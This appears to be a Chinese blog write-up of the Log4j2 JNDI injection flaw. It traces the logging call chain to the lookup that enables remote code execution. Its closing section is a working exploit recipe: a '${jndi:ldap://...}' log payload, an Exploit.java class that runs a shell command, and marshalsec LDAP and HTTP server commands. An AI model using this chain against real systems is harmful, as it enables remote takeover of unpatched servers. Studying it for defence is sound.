由于这些调用方法触发漏洞的原理都是一样的,所以本文就以 error 举例说明。
查看 error 的类继承关系可以发现,实际上会调用AbstractLogger.java
中的public void error()
方法:
因为在logIfEnabled
方法中,对当前日志等级进行了一次判断:
如果符合,那么会进行logMessage
操作
后续不关键调用路径如下:
logMessage ----> logMessageSafely ----> logMessageTrackRecursion ----> tryLogMessage ----> log
不动态调试的情况下跟log
方法会到AbstractLogger.log
方法,实际上这里是org.apache.logging.log4j.core.Loggger.log
方法
Loggger.log ----> DefaultReliabilityStrategy.log ----> loggerConfig.log ----> processLogEvent ----> callAppenders----> AppenderControl.callAppenders ----> tryCallAppender ----> AbstractOutputStreamAppender.append ----> tryAppend ----> directEncodeEvent ----> PatternLayout.encode ----> toText ----> toSerializable ----> format
这里的formatters
方法包含了多个formatter
对象,其中出发漏洞的是第8个,其中包含MessagePatternConverter
继续跟着代码走下去,走到了MessagePatternCoverter.class文件的format函数下;
如果检测到$
字符后跟了一个{
字符,那么会对直到}
中间的内容进行解析并replace
。
继续跟进就进入到了 StrSubstitutor的substitute函数下
这里就是漏洞发生的主要部分了,基本上是递归处理里面的语法内容,还有一些内置的语法
prefixMatcher
是${undefined
suffixMatcher
是}
其实这里是触发漏洞的必要条件,通常情况下程序员会这样写日志相关代码
logger.error("error_message:" + info);
黑客的恶意输入有可能进入info
变量导致这里变成
logger.error("error_message:${jndi:ldap://127.0.0.1:1389/badClassName}");
这里的递归处理成功地让jndi:ldap://127.0.0.1:1389/badClassName
进入resolveVariable
方法
进过语法处理,varname会被修改为对应语法的对应部分(重要绕过),最后会进入resolveVariable()方法中
而resolveVariable
这里则直接根据不同的协议进入相应的lookup,其中jndi.lookup
就会导致漏洞,而lookup支持的协议也有很多种包括{date, java, marker, ctx, lower, upper, jndi, main, jvmrunargs, sys, env, log4j}
在Interpolator.lookup
方法中,首先会获取字符串的前缀值:
如果匹配到内置方法,那么就进入对应的处理方法,这里是 JNDI 方法,那么就会由JndiLookup
类进一步处理:
最终加载由攻击者传入的LDAP服务端地址,然后返回一个恶意的JNDI Reference对象,触发漏洞,实现 RCE。
四、 漏洞利用
1、 编写利用类
因为利用ldap方式进行命令执行,首先要编写最后的命令执行代码。
Exploit.java
import java.io.BufferedReader; import java.io.IOException; import java.io.InputStream; import java.io.InputStreamReader; import java.io.Reader; import javax.print.attribute.standard.PrinterMessageFromOperator; public class Exploit{ public Exploit() throws IOException,InterruptedException{ String cmd="touch /tmp/xxx"; final Process process = Runtime.getRuntime().exec(cmd); printMessage(process.getInputStream());; printMessage(process.getErrorStream()); int value=process.waitFor(); System.out.println(value); } private static void printMessage(final InputStream input) { // TODO Auto-generated method stub new Thread (new Runnable() { @Override public void run() { // TODO Auto-generated method stub Reader reader =new InputStreamReader(input); BufferedReader bf = new BufferedReader(reader); String line = null; try { while ((line=bf.readLine())!=null) { System.out.println(line); } }catch (IOException e){ e.printStackTrace(); } } }).start(); }}
编译代码后,
javac Exploit.java
开启HTTP服务
python -m http.server
2、 开启ldap服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8000/#exploit1
希望可以对大家有所帮助哦!!!
图片是我的公众号重新截图,所以有些模糊,大家见谅哦~